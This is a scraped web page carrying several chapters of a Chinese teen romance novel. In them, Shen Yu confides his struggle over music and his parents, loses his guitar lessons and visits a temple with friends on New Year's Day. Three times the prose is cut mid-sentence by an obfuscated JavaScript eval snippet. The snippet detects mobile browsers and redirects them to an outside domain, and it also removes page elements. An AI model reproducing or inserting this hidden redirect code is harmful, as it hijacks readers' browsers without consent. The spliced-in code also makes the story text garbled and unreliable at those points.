也许是一两秒,也许是一两分钟,沈瑜不知道自己到底沉默了多久,也不愿意去看屏幕上显示的时长,只是静静听着耳手机里传来的呼吸声。 “……其实我有点难过。” 男孩的声音带着些喑哑,似乎从很远的地方传来。 “嗯,我听着呢。” 女孩不似白日里那般活泼,只是温柔地听着,然后陪伴着。 两个房间,两个人,在这个普通的夜晚,彼此情绪相牵。 “我好像是个罪人,把家里弄得乌烟瘴气,爸爸妈妈一直在忧心我的成绩,姐姐她因为我挨了很多没必要的骂,这一切的源头好像都是因为我想要追求一些虚无缥缈的梦。” “明明是因为唱歌,因为音乐让我感到快乐感到满足我才会想要一直坚持下去的,可是现在好像还会给我带来痛苦和难过。” “我记得小时候第一次唱歌的时候,第一次弹出一整首曲子的时候,所有人都在为我鼓掌,爸爸甚至还说我以后一定能成为一个钢琴家。” “我现在做的事情和之前又有什么差别呢?” “难道仅仅是因为我长大了,所以就不能做梦了吗?” “我想要在这两者之间得到一个平衡,我很努力的去学习,但我到底不是一个天才,我没有办法在追求梦想的同时取得令他们满意的成绩。” “我有点讨厌学习了,甚至还有点不敢面对琴键。” “我不但不能成为一个好儿子,我甚至没有办法成为好的自己。” 几乎是想到什么就说了什么,突然而至的情绪甚至让沈瑜几乎想要把所有的一切都说出口,像火山爆发一样磅礴的负面情绪压得让人喘不过气,突然砸在手上的水珠让人回神,沈瑜有些茫然地抚上自己的脸庞,满手的湿润。 沈瑜有些狼狈地抽了张纸胡乱抹了抹脸,哑着嗓子开口。 “抱歉,我……” “沈瑜。” 似乎是知道男孩接下来想要说什么,一直默默聆听的女孩第一次开口打断了沈瑜的道歉。 “嗯?” 沈瑜闷闷地应了声。 “你水杯在手边吗?” 季知节开口却是完全不相干的话,沈瑜有些疑惑,却还是依着女孩的意思看向了摆在桌上的水杯。 “在,怎么了?” “那你喝口水,然后听我说好不好?” 手机那头的声音轻柔,仿佛在哄小孩子一般。 沈瑜有些不自在的摸了摸鼻子,却也是乖乖打开水杯抿了口水。 “看来我运气不错,水杯里居然还有水。” 季知节听到手机里响起的声音,带着笑意调侃道。 “是啊,我运气也不错。” 沈瑜轻叹一声,盯着水杯里荡起的涟漪,垂眸轻笑。 嘴巴似乎是一个出口,说出口的情绪随着从肺里带出的二氧化碳一起与空气融为一体,虽然不至于消失得无影无踪,但是就如大海中的一滴水一样,虽然存在,但不值一提。 “沈瑜。” 女孩又轻轻唤了一声。 “嗯。” 沈瑜握住手中的水杯,同样轻声应道。 “辛苦了。” 那么努力追逐着梦想的你辛苦了,那么想要让家人满意的你辛苦了,即使难受却也还是笑着面对一切的你辛苦了。 想要说的话太多,最后只能浓缩成简简单单的三个字。 但沈瑜似乎是听懂了未完之语,刚刚缓过来的眼眶又有些发酸。 “你是一个很棒很棒的人。” 不是什么罪人。 “唱歌并不是什么虚无缥缈的梦,那是你确确实实想要奔赴的未来。” “音乐让你感到开心,所以你有了向它奔跑的动力,但是也请别害怕它给你带来的痛苦。” “没有什么东西、没有什么情绪是只会给人带来快乐和满足的,一切的存在都有着两面性。” “就像我们,就像我们所有人,被父母爱着,但我们也同样被困在这份爱里。” “我们因为这份爱得以活着,但我们也曾因为这份爱而活得痛苦和无奈,但恰恰是因为这份难过,才印证了我们内心也存在着爱。” “因为无爱之人,无法有共情的心。” “这是一个从悲伤里凝练出来的事实,这也是构成我们如今人格的一部份。” “如果音乐让你感到悲伤,感到难过,你可以选择暂时放下,过段日子回头,这段独特的感受说不准就会成为你哪一首歌,哪一个曲调的灵感。” “如果放下让你感到轻松,那也没关系,因为你的未来并非只有这一种可能。” “并非我们长大了就不能做梦了,而是我们长大了,做梦就开始要付出代价。” “而这份代价有些人承受不起,所以小时候的梦想就真的把它当作一场梦,醒来了,便忘记了。” “你的父母害怕你承受这份代价, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870122|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以他们想要替你做决定,但他们忘记了自己的孩子又怎么会害怕荆棘。” “我也并不觉得你是个天才,我有时会觉得拿天才来评价一个人是件有些失礼的事情,因为旁观者总会把所有的成就归结成天赋,但我看到了你每天刷完的习题,看到了你周二背着吉他孜孜不倦的练习。” “人总是像个跷跷板,不是这头翘起来,就是那头高高在上,即使体重一模一样的两个人也很难做到平衡不动,有点风吹草动就是你上我下,所以做不到平衡才是正常,不要过分苛责自己。” “讨厌学习也没关系,没人喜欢,不敢面对钢琴也没关系,可以看看吉他,看看鼓,看看花,看看草。” “好儿子的定义如果是对父母唯命是从,那我们全都当个坏孩子好了。因为谁也不知道父母会不会说出一些完全没道理的话。” “至于好的自己,不只是你,我,我们,都在这条路上追寻着。” “还有,不要道歉,难过并不是要道歉的事情,坏情绪也该被摊在阳光下,杀杀菌,消消毒,然后让它结痂的时候痊愈。明天就又是新的一天。” 沈瑜都快想不起来刚刚说了些什么,毕竟情绪激动之下说的话大多是条件反射之语,还不一定有逻辑,但在季知节一句一句的回答里,沈瑜想起了说出口的每一句话。 句句有回应。 带着温度说出的话遇到内心漂浮的冷空气,凝结成水汽,随后酝酿成一场雨,然后,绿意萌生。 种子终将长大,而后绽放出春日里的花。 泛红的眼眶连接着不正常跳动的心脏,沈瑜想要说话,能写出或直白、或含蓄歌词的大脑空空如也,只有如鼓般的心跳声在叫嚣。 想唱歌、想弹琴、想谱出曲子、想写下感谢、想……说出心动。 “……谢谢。” 万千思绪化为苍白无力的两个字,沈瑜靠在椅子上,空着的手遮住眼睛,眼前分明一片黑暗,但他却觉得光就在身边。 “不用谢?” 女孩笑着回答。 “哪有用问句回应别人的感谢的啊。” 沈瑜不自觉上扬的语气根本听不出是抱怨,反而…… “你是在撒娇嘛?” 或许是夜太醉人,季知节听着手机里的声音,不自觉开口调笑道。 “对啊,不可以吗?” 沈瑜的语气相当理直气壮,甚至还有点娇俏。 “你连坏情绪都能照单全收,撒娇怎么了?” “呀,你说的我像个垃圾桶一样诶!” 察觉出男孩的情绪好转,季知节也稍微放下心,跟着调侃道。 “才不是啊。” 沈瑜轻声反驳。 你是大海、是阳光、是我视线所及之处最美的春天。 “你最好是这么想的哦,你可是在我面前哭了诶,哼哼。” 小恶魔露出了她的触角,但丝毫没有威慑力。 沈瑜轻笑一声,相当坦然地接受了威胁,笑着告饶。 “求求你高抬贵手好不好?” “那行吧,谁让我大人有大量呢。” 听着女孩相当不客气的语气,沈瑜面含笑意操控椅子转了个方向。 黑白色的键盘在脑海中自动跳成了一个个音符,然后谱写成曲调。 “谢谢。” 似乎只是在感谢季知节的“高抬贵手”,又仿佛蕴含着其他。 季知节装作没听出来,笑着说:“那,晚安?” “晚安。” 60. 第 60 章 用Youraisemeup做铃声只是顺势而为的一件事罢了。 沈瑜盯着挂断的电话,不合时宜地想起了这件事。 那时视频语音通话设置铃声才刚刚推出,周博承像是得了什么宝贝一般,咋咋呼呼拉着沈瑜一起设置,还不时要打电话实验,力求选一首最好的歌,在最好的歌中也要截取一个最好的段落。 但音乐是非常主观的存在,欣赏的人不同,欣赏的角度不同,都会有不同的听感。哪怕是录音时没有消掉的瑕疵,也会有人觉得这样更加真实。 沈瑜并没有太在意手机铃声这件事,只是随手把当时日推推荐,那时又正在听的歌截取了一段设置成了铃声,余下的时间只是在观察周博承纠结的模样。 史铁生说年少时因为好玩而开出的一枪看似没有伤害到任何人,但是多年之后却会正中眉心。 选择具有滞后性,年少时无知的选择即使当下看着不痛不痒,但是它可能始终埋藏在阴影里,不知在什么时候就会捂着你的嘴,把你拖入脚下的黑暗。 但也有可能脚下的荒地里开出独一无二的花,拯救郁郁寡欢,半只脚没入阴影的你。 熟悉的钢琴伴着柔和的人声在耳机里回荡,沈瑜不太熟练地点进设置—消息通知—来电铃声,果断地点击了“恢复默认”几个字,然后又点进来了为朋友设置专属铃声。 从此,Youraisemeup不再只是一首歌,而是变成了一个夜晚,一段对话,一个人。 每个人都有着自己的烦恼。 没有梦想的人忧心充满迷雾的未来,朝着梦想踽踽独行的人难过于无法消解的孤独。 如果不是比之更加和睦的关系,季知节又怎会想到沈瑜曾这样痛苦。 那没人倾诉的夜晚又会是怎么样呢? 就这样独自难过,整理心情然后纠结着是否还要继续下去吗? 那他是否又真的,曾有过放弃的念头呢? 在这样一个社会里,放弃似乎才是再正常不过的事情。季知节心想。 那又是怎样在痛苦中浮浮沉沉,然后变成了那般模样呢。 变成那般耀眼,然后只把爱和希望唱给别人听的样子。 这个夜晚只是地球数亿年以来最平常不过的夜,而在这个夜里发生的一切也被静悄悄埋葬在月光下,等到太阳升起之时,就随着夜晚一起飘向过去,成为永恒。 这是无人刻意提及的默契,季知节和沈瑜不约而同地把这个夜晚发生的事情掩盖了起来,就连沈琼也只收到了一些万金油式的表情包。 好消息是事情貌似已经结局了。 坏消息是完全不知道怎么解决的。 沈琼在第二天看着若无其事的沈瑜,好奇之情溢于言表。但碍于一些自责之情,沈琼放弃了继续追问,只是默默加快了吃饭的速度。 沈琼并非觉得自己的自责空穴来风,这是对自己不知不觉被世俗同化,甚至自己浑然不觉的无能狂怒。 在王清云眼里,沈瑜是满脑子不切实际的理想的“异类”,沈琼更是站在“异类”一边的帮凶。 她为沈瑜提供工具,甚至帮着他一起应付家长,还帮他赚取所谓的“梦想基金”。 沈琼也曾这么觉得。 就像她自己说的那样,因为沈瑜曾经支持过她,所以当她有能力时,她也想全心全意去支持追梦的少年人。 她在父母面前插科打诨,时不时附和着王清云的批评,殷切地希望着王清云能不要再把批评的话说出口。 既然我骂了,那你就不要再骂了哦。 她天真地这般想着。 可事实从来不是这样,相声演员有了捧哏之后只会变得更能说,而非少说。 于是说得越来越多,虽然不知道是否在沈瑜的心理激起了涟漪,但总归在沈琼的心里留下了痕迹。 支持不再变得无条件,也开始莫名有了标准。 ——成绩保持好再玩音乐爸妈也不会说对不对。 ——你不是天才,音乐并不能让你吃饱饭对不对。 梦想本身就是少年人的不顾一切的莽莽撞撞,至于能否吃饱饭,现在的人总不会饿死自己,只是区别于吃得好还是吃;成绩再好也不会有人满足的,因为当偏离了父母的设想时,所有的一切都会对你口诛笔伐的武器。考得不够好时会挨骂,考得好时总还有更好。 当我试图两全其美时,我就已经站在父母这边了。 沈琼沉思良久,这样告诉自己。 不知何时,劝说的对象变成了沈瑜,不知何时,劝说的出发点变成了这样对你更好一点。 道理谁都懂,谁都能说出几句大道理,何况这个人是沈瑜,是从小到大成绩都名列前茅,每件事都相当有主见的沈瑜,他怎么会不知道怎样对他更好。 可他依旧选择了一条足够艰险的道路,他清楚自己在做什么。 不清楚的另有其人。 沈琼躲到卫生间,看着镜子里的人无奈一笑。 在一中保持那样的成绩恰恰是他希望能达到父母心中目标的证明,你在高中读书时难道就比他成绩还好吗? 沈琼想起高中时期勉强看得过去的成绩单,深深叹气。 沈瑜当然没发觉沈琼一个人在伤春悲秋,只是沉默地听完王清云的决定之后点了点头,一头扎进了房间。 【我吉他课被停了。[笑哭.jpg]】 光标在输入框里不断跳动,沈瑜盯着输入框里的文字犹豫良久,最终按住删除键,输入框又重归一片空白。 这是早就预料到的结果,沈瑜并不感到意外,尤其是现在连难过的情绪都不算严重。 提前设想难道会出现抗性吗? 沈瑜被自己的想法逗笑,最终放下了手机,全身心投入到了学习中。 即使成绩提高回去也不见得王女士就会把吉他课重新续上,但沈瑜依旧全神贯注地学习着。 “这是我自己的选择。” 沈瑜挥笔写下一道选择题,神情坚定。 日子并不会因为任何一个人的困难而减缓脚步,真正投入到时间之中的人更会觉得时间流逝之快。 期中家长会之后第一学期几乎没有了任何大型活动,只剩下了学习,学不完的知识点,刷不完的题。 “我们是在上班还是上学啊?” 又是一堂小测验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881461|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,交完卷子的于落落趴在桌子上双目无神。 “上班还能赚钱,我们倒贴钱还得被考试。没天理了吧。” 季知节听着于落落天真的话,笑得惨淡。 “知足吧,起码上学是双休,我们上班的时候能不能找到双休的工作都是一个问题。” “会这么惨吗?” 于落落的脸皱成了苦瓜,“我已经开始不想上班了。” “没关系,我们可以上香。” 季知节做了个双手合十的动作,神情虔诚。 正在刷题的张镜笔尖一顿,看了眼有些神神叨叨的二人组,又转头看了一眼外面的太阳。 天气逐渐变冷,逐渐换下的秋装和凋零的树叶预示着这一年即将要走近尾声,太阳依旧悬挂高空,散发着聊胜于无的热意,但是太阳依旧是太阳,依旧能杀菌消毒。 女孩默默抬手,扶住窗户推开了一点缝隙。 感恩这个星期轮转到了窗户旁边。 张镜内心也十分虔诚。 从窗户缝里钻进来的冷风让季知节不自觉拢了拢衣领,女孩一脸受伤。 “这么冷你还开窗!是不是想要谋杀我!” 张镜言简意赅:“辟邪。” 季知节:“……” 于落落:“……” “她是不是在骂我们?” 季知节一脸真诚地看向后面的女孩。 “……低声些,这难道很光彩吗?” 于落落恨铁不成钢地看向季知节,言语里都是无奈。 默默刷题的沈瑜低着头不敢抬起,生怕藏不住的笑意又换来几人沆瀣一气的报复。 但季知节依旧敏锐地察觉到了某人轻颤的肩膀。女孩双眼微眯,一双圆眼里射出锐利的光芒,如果眼神能杀人,那么想必某人已经死去活来又活去死来了。 “笑什么呢?我们的数学课代表?” 女孩轻轻柔柔的声音下是毫不掩饰的杀机。 沈瑜连忙清了清嗓子,抬头看向前面的女孩,诚恳道:“明鉴啊,我们的团支书,我可没笑。” 没错,我们季知节同学除了小组长外,在一次班会课后喜提团支书一职,自此,在一众课代表之中,季知节不再是格外特殊的哪一个了,“平民百姓”正式成为了陆谦的称号。 “真的吗?” 季知节语气狐疑,脸上写着满满的几个字:我不信。 沈瑜看着看着又想笑,但是他深知这个时候笑就有点老虎头上拔胡子的感觉了,于是沈瑜急忙开口,还不忘用点头来增加自己的可信度。 “当然啦,我可是永远站在团支书这边的。” “记住你说的话。”季知节半威胁道。 沈瑜看着女孩毫无威胁力的脸庞,难以克制地勾起了一抹笑,而后忽然想到了什么,开口道:“对了,元旦那天要不要去广福寺拜拜?” “嗯?” 季知节有些茫然地看着提出建议的男孩。 沈瑜做了个双手合十的动作,漂亮的眼睛轻轻眨了眨,眼波流转间皆是温柔的笑意。 “学正在上,班未来要上,过段时间去把香上一下吧。” 61. 第 61 章 1月1日,星期二,天气晴。 元旦。 这是座南方的城市,虽不至于下雪,但年尾时节的冷空气依旧骇人。刺骨的冷风无孔不入,顺着脖子的和衣服间的缝隙钻进身体,给人致命一击。 街头巷尾挂上了红彤彤的招牌和挂饰,商场空地竖起了喜庆的吉祥物,不少地方挂上了请勿拥挤的牌子,想来前一天晚上不少人聚在一起等待倒计时跨年。 虽然绝大部分人保留着血脉里传承的习俗,认为农历新年才是真正的新的一年的伊始,但是在这个纪年数字加一的日子里,依旧充满着一切从新出发的美好意愿。 新的一年祈求一个好兆头似乎是多数人的共识,广福寺外人山人海,千年古刹落入人世,沾染了人间烟火。 虽然预料到会十分拥挤,但远远超过心理预期的人数让等候在外的季知节心里直打鼓。 女孩再三挣扎,把几乎和口袋黏在一块的手掏出来,飞快地拍了张照发进群里,手指在键盘上飞舞,立志要在温度被冷风刮走前输入完消息。 季知节:【图片.jpg】 季知节:【朋友们,再不来我们就要挤不进去了!!】 26个字母的键位从未如此清晰,手机也从未如此想念过口袋,发挥完传送消息作用的手机下一秒就直接进入了口袋,连着无法在空气中多暴露一秒的手也一起钻了进去。 小小的手机在口袋里接连不断地震动,季知节摇头晃脑,怎么也不愿意再次把手机拿出来。 群里的聊天记录刷得飞快,于落落和周博承像是在比拼谁的表情包更多一般斗着图,完全不顾聊天主题,看了半天发现插不进话,沈瑜失笑收起手机,抬头寻找着早早就到了的女孩。 就如所预料的,以及所见到的,广福寺人满为患。即使是在山下,也依旧有许多人聚集,本就庞大的人流量在臃肿的冬装加持下更显拥挤,不过好消息是每个人都穿得厚厚的,挤起来不至于难受。 即使人群拥挤,即使枝叶萧条,沈瑜还是一眼就看见了在大树下的女孩。 这是一颗不知生长了多少年的古树,自沈瑜有记忆开始,这棵树便巍然、沉默地矗立在这里,它看着来来往往的人群,它见过牙牙学语的孩童,也见过白发苍苍的老人,它见过如胶似漆的情侣,也见过一步一叩首,虔诚无奈的可怜人。它见证过相聚,见证过别离,见证过时间的奔流不息和岁月的流转更替。 冬日里的大树并不如春夏时节的那般受欢迎,没有繁盛的枝叶能够遮蔽日光,没有翠绿的枝叶能够点缀画面,但沈瑜却觉得这棵从小就见惯了的树比往日都要可爱,这并不是什么难以理解的心情,一切不过是因为景中人。 树下的女孩梳着精致的双丸子头,还十分应景的在丸子下面坠了两个十分喜庆的挂饰,身上的棉服也是红白色系,浅蓝色的牛仔裤十分清爽,倒是脚上还依旧穿着帆布鞋。 如果不去注意女孩紧紧缩着脑袋,不时原地蹦跶取暖的模样,不知道的还以为是哪家年画娃娃从墙上走下来了。 一张还未拆封的暖宝宝被递到面前,季知节晃晃悠悠地停下蹦跶着的脚,脑子像是被冻的卡机了一样,有些呆楞楞地顺着暖宝宝就往上看。 “这么冷怎么不多穿点?” 少年的鼻尖有些泛红,额前的碎发也被冷风吹得有些许凌乱,不同于女孩恨不得把被子裹在身上的架势,男孩只是穿了一件有些厚的外套,整个人看上去不限臃肿反而有些挺拔。注意到女孩的目光,沈瑜轻轻一笑,眉眼舒展开来的模样在这有些寒冷的冬日里都有些耀眼。 “啊……”季知节从口袋里掏出手,被捂得暖和和的手暴露在空气中,手指不由有些瑟缩,但很快伸直了手指,想要接过暖宝宝。 “我妈说我已经穿的够多了。”季知节想起出门前柳明霞的唠叨,有些头痛地控诉,“还说我再多穿一点过段时间就过不下去了。” 或许是冬天的脑子被冻得只能单线程工作,一边抱怨一边接暖宝宝的季知节情理之外、意料之中地触碰到了男孩有些凉意的手指。 两人动作同时一顿。 有些寒冷的冬日、略显萧条的树和树下互相对视的男孩女孩,如果再飘点雪下一秒就能架起相机开拍偶像剧了。 温度似乎能影响到感觉的传递,带着温度的手指比冻僵的手指要更快地传达指尖的触感,季知节有些不自觉地蜷缩了一下手指,刚想开口说什么就被呼啸而来的几人打断了。 “知~知~宝~,新——年——嚎!!” 一句话被说的七零八落九曲十八弯,季知节一个机灵,收下暖宝宝向旁边小跳了一下,成功避开了于落落的偷袭。 看着季知节一气呵成的动作,张镜幽幽举起大拇指:“十分!” 不理会一脸幽怨的于落落,季知节震惊地看向女孩脚腕处的白皙,又看了看女孩咖色的大衣。 “你不冷啊?” 于落落这才注意到季知节身上的棉服,也是一脸不可置信。 “你这么冷啊?” 季知节低头看了一眼自己的裤子,十分惋惜:“要不是不太雅观,我高低给你看看我的秋裤。” “你这寒冬腊月的要怎么过啊?” 于落落挽住张镜,一脸嫌弃地看向季知节:“是不是年轻人哦。” “小女子不才,区区25,不26岁罢了。” 季知节煞有其事道。 “谁家好人26岁这么虚啊。” 于落落摆摆手不当一回事。 季知节无奈耸肩,说实话你们又不信,做人太难了。 “还进不进啦!” 周博承紧紧扣住身上的单薄外套冻得直跳脚。 “你怎么穿这么少啊。” 沈瑜一言难尽地看着这个不分季节的人,满脑子问号。 “这不是新年第一天我想帅一点吗。” 周博承顿时挺直了背,原地转了个圈,全方位展示着自己的新衣服。 一阵冷风吹来,丝毫不留情面地钻进了男孩的脖子,周博承哀嚎一声,帅气不过三秒就显出了原型。 于落落疯狂嘲笑着要风度不要温度的这个人,还拉着张镜一起指指点点。 “五个人三个季节真的挺不错的,主打一个多姿多彩。” 季知节哭笑不得地看着周博承,塞在口袋的手不经意间被包装袋的直角轻轻碰了一下——暖宝宝。 看着冻得直跳脚的男孩,季知节捏住口袋里的暖宝宝,理智告诉她此刻周博承比她更需要暖宝宝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895860|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是…… 女孩鬼使神差地看了一眼旁边正在看好戏的男孩,抿了抿有些干裂的嘴唇。 或许是对视线极为敏感,又或许是一直关注着女孩,当视线落在身上的第一秒,男孩就回望了过去。 在人声鼎沸中,两人目光悄然相接。 怎么啦? 沈瑜轻轻偏了偏头,朝着女孩眨了眨眼。 女孩有些犹豫的模样尽数落入眼中,还插口袋里的胳膊轻微地动了动,沈瑜有些恍然。 从口袋里掏出还散发着热意的暖宝宝塞到周博承手中,骤然出现的暖意几乎让人落泪,周博承双手捧着暖宝宝眼中含着热泪。 “从今年开始,你就是我大哥!” 沈瑜挑眉,语气倨傲:“我一直都是你大哥吧。” “是是是,您说的都对。”周博承语气恭敬,低眉顺眼道。 “哦天呐,怎么会有这么谄媚的人。” 于落落操着一口夸张的译制腔,对着周博承嘲笑道。 以防斗图战役即将升级,张镜拉着企图继续拱火的于落落就往庙里走。 季知节含笑看着几人上前,侧头看向同样落后的男孩,语气里是掩饰不住的好奇:“没背包的话,你的口袋也是百宝箱吗?” 沈瑜悄悄比了个噤声的手势,笑得像只偷腥的猫:“没有,冬天背包太肿了,我就带了两个暖宝宝,你那个是最后一个。” 铁粉分明还没有接触到空气产生热量,但莫名的热度却涌入掌心,烫得有些发慌。 “那我偷着用。” 季知节从口袋里拉出塑料袋的一角,悄咪咪地向沈瑜低声道。 即使没有人会去关注两人的小动作,但两人依旧不约而同的放低了音量,仿佛在干什么见不得人的交易。 广福寺内檀香缭绕,升腾的烟雾和若有若无地诵经声让人内心平静。 暖宝宝的袋子在沈瑜的掩饰下被丢进了路过的垃圾桶,纵使都清楚即使朋友们知道这里还有一个暖宝宝也没关系,但两人依旧乐此不疲地做着地下特工。 轻轻跨过一个石门坎,看见不远处悬挂着的庄严肃穆的钟,季知节忽然想到了什么,侧头看向男生开口问道:“你今天是不是还有吉他课来着,今天也放假嘛?” 男孩余光注意着女孩的脚下,时不时隔开其他人不经意的碰撞,闻言轻描淡写地回复道:“吉他课被停了,现在自学成才中。” 季知节脚步一顿,整个人看向了身旁这个看起来若无其事的男孩,张了张嘴,却发现说不出一句话。 那日的余韵比想象中悠长,父母的阻挡也不只是口头上的教训,掌握着“经济”这一生杀大权的他们轻描淡写的一句话就能改变许多事,也能轻而易举的把所有的努力显得格外可笑,但并非是怜悯,也并非想要开口安慰,季知节只是觉得男孩要走的路实在太难了一些。 “可以点歌嘛?” 季知节挥别脑内的思绪,兴致勃勃道。 “诶,这就开始点歌了?给点时间吧!” 完全出乎意料的反应让沈瑜有些失笑,但话里话外透露的信心让人感到温暖。 沈瑜含笑看向满目信任的女孩,语气轻缓但坚定。 “不过你想听什么都可以。” 62. 第 62 章 大雄宝殿内佛像庄严肃穆,袅袅檀香升腾,四面八方的诵经声包裹着每一个大殿中的人,洗涤着灵魂上的疲惫。摆放规整的蒲团上跪着一个又一个紧闭双眼的人,或在嘴里,或在心里念念有词,虔诚地向着佛祖许下自己的愿望。 每一个踏入大殿的人都不约而同地放低了声音,耐心的等待着蒲团上的人离开。 佛祖低垂着眼,注视着来来往往的人,似乎是知道自己的一举一动都在被观察着,纵使人数众多,却丝毫不显混乱。 寺庙总是能营造出一种游离人世之外的氛围,在各类穿越重生的小说中,总是会有些主持或者高僧一语戳破主角的由来。不知是看过的哪一部小说发挥了作用,季知节不由转着脑袋四处搜寻着僧人的影子,或许是人潮太过拥挤,女孩寻不到任何着素色袍子的身影。 “怎么了?” 察觉到女孩的动作,沈瑜低声问道。 季知节轻轻摇头,同样低声回复了句:“没什么。” 如果说这是一场被编织好的梦境,那么僧人的存在是否就是图腾,就像那在梦境中永不停歇的陀螺。 季知节不合时宜地想到曾经看过的一部电影,有人追求着真实,有人沉溺于梦境。 那我呢? 季知节抬头,目光对上了那镀着金身的佛祖。 佛祖总是笑着的,笑得那样柔和、那样包容,似乎天大的事情在他面前也不止一提,佛渡灾厄、渡苦难……佛祖这般渡我,是一时兴起,还是另有缘由呢? “阿弥陀佛,施主,到您了。” 飘远的思绪被一道不悲不喜的声音拉了回来,面前不知何时出现了一位穿着灰色袈裟的沙弥,手里拿着一串木质念珠,时不时拨动一下。 季知节被突然出现在面前的人吓得后退了一小步,一不小心踩到了身后人的鞋子,但季知节来不及道歉,一脸心有余悸地看着沙弥。 似乎是反应过来自己吓到了人,沙弥又念了句阿弥陀佛,十分不好意思地道了声歉意。 “没事没事,是我没看见。” 季知节连连摆手,说完就要走向蒲团。 “你干嘛呢,盯着佛祖发呆,小心他不实现你的愿望哦。” 于落落看着终于回过神的女孩,开口调侃道,眼中却闪过一丝担忧。 “我发呆很久了吗?” 三个蒲团摆在地上,甚至还能看见被压出来的膝盖的痕迹。也不知受了多少人的跪拜,也不知浸了多久的香火。 “有一点点久。” 赶在三人跪下之际,张镜飞快地回答了季知节的话。 而当膝盖接触到蒲团之时,三人都齐刷刷闭上了嘴。 季知节在心里默默叹了口气,寺庙真的很容易让她这种心里有事情的人乱想啊。 撇开脑袋里的思绪,季知节按部就班地完成了参拜的流程,早就想好,甚至还列了优先级的愿望此刻一个也想不起来,最后只匆匆忙忙在心里念叨学习进步和一夜暴富。 “里面人太多了,去外面等我们吧。” 起身后和沈瑜擦肩而过,耳边传来男孩的叮嘱声,季知节点头,拉着张镜和于落落就往外面走。 正殿外也依旧人山人海,一人高的香炉沉甸甸地坐落在广场中央,以香炉为圆心人群逐渐聚拢起来,季知节看着几乎都要溢出来的香灰,双手合十念了句阿弥陀佛。 “我总感觉释迦摩尼应该不会实现我的愿望,不然我们一会找点偏殿拜拜吧。” 季知节摸了摸下巴,若有所思道。 “你许啥了?” 张镜回头看了一眼大雄宝殿正中央的释迦摩尼佛像,开口问道。 “学习进步,一夜暴富。” 季知节说得理直气壮,丝毫不管别人怎么想。 “你这得找专业对口的,我们一会去找找文昌君和财神爷。”于落落兴致勃勃地指着偏殿,“你这愿望归他们管。” “什么归谁管?” 周博承和沈瑜一出来就听见三人在议论着什么,周博承捏着暖宝宝就往上面凑。 “我们觉得愿望应该还是要细化一下,不能什么都说给释迦摩尼听,万一他听烦了呢,所以我们决定搞点专业对口的……”有了观众,于落落说得更起劲了,季知节含笑看着女孩煞有其事地和周博承分析,眼睛的余光忽然闪过一道灰色的踪影。 “你们等我一下,我马上就来。” 比脑子先反应过来的是腿,季知节扔下一句话就像只泥鳅一样钻进了人群。 只是一秒没看住,女孩就不见了人影,沈瑜有些呆愣地看着空空如也的地方,脸上满是哭笑不得。 “干嘛去了这是?” 于落落和张镜对视一眼,两人脸上是如出一辙的茫然,“不知道啊。” “不好意思借过一下。” 季知节目光紧盯着那道灰色的僧袍,一点点越过拥挤的人,慢慢向僧人靠近。 “师父你好!”在人海中穿梭累得人气喘吁吁,季知节朝着好不容易追上的沙弥打招呼道。 沙弥目光惊讶,不自觉看了眼正殿道位置,双手合十,朝着季知节微微鞠躬,“阿弥陀佛,施主找我有什么事吗?” 季知节也同样双手合十,不太熟练地回了个礼,想要开口却又有些犹豫。 “师父,就是,刚刚在大雄宝殿的时候,我们见过的哈。” 季知节讪讪一笑。 “贫僧记得。” 沙弥拨动着手中的念珠,看着眼前的小姑娘十分有耐心。 “……就是,嗯。”季知节捏着衣角,努力组织着语言。 沙弥也丝毫没有催促的意思,只是站在一旁静静地等着。 “就是你有没有觉得我和别人不太一样……” 季知节眼睛一闭,壮士断腕般说出了口。 拨动念珠的手一顿,沙弥略带茫然地看着眼前的人,“施主……您特别可爱?” 沙弥仔细斟酌着十几岁的小姑娘想要听什么话,试探道。 完全不是意料中的答案,季知节悄咪咪地睁开了一只眼睛,就看见了沙弥一脸的疑惑。 “……你这句,是诳语吗?” 季知节默默睁开了两只眼睛,一脸真诚地看向沙弥。 “……” 一脸疑惑进化成了一言难尽,季知节看着满脸写着想逃的沙弥,索性破罐子破摔。 “好吧,我就是最近总是觉得我好像是什么天命之人,我记得上辈子发生的事情,我有点害怕这辈子是场梦……”胡诌的声音在沙弥的注视下越来越小,直至消失。 “小施主,您作业做完了吗?” 沙弥念了句阿弥陀佛,一脸真诚地问道。 “……快了。” “施主写完作业不妨找点书看看,当然我们要学会辨别,书单其实可以找班主任要,网络小说只不过是消遣……” 言下之意不用说出来季知节也能懂,无非就是闲的。 季知节免费听了几分钟的教导,当找到沈瑜一行人时,走路都是飘的。 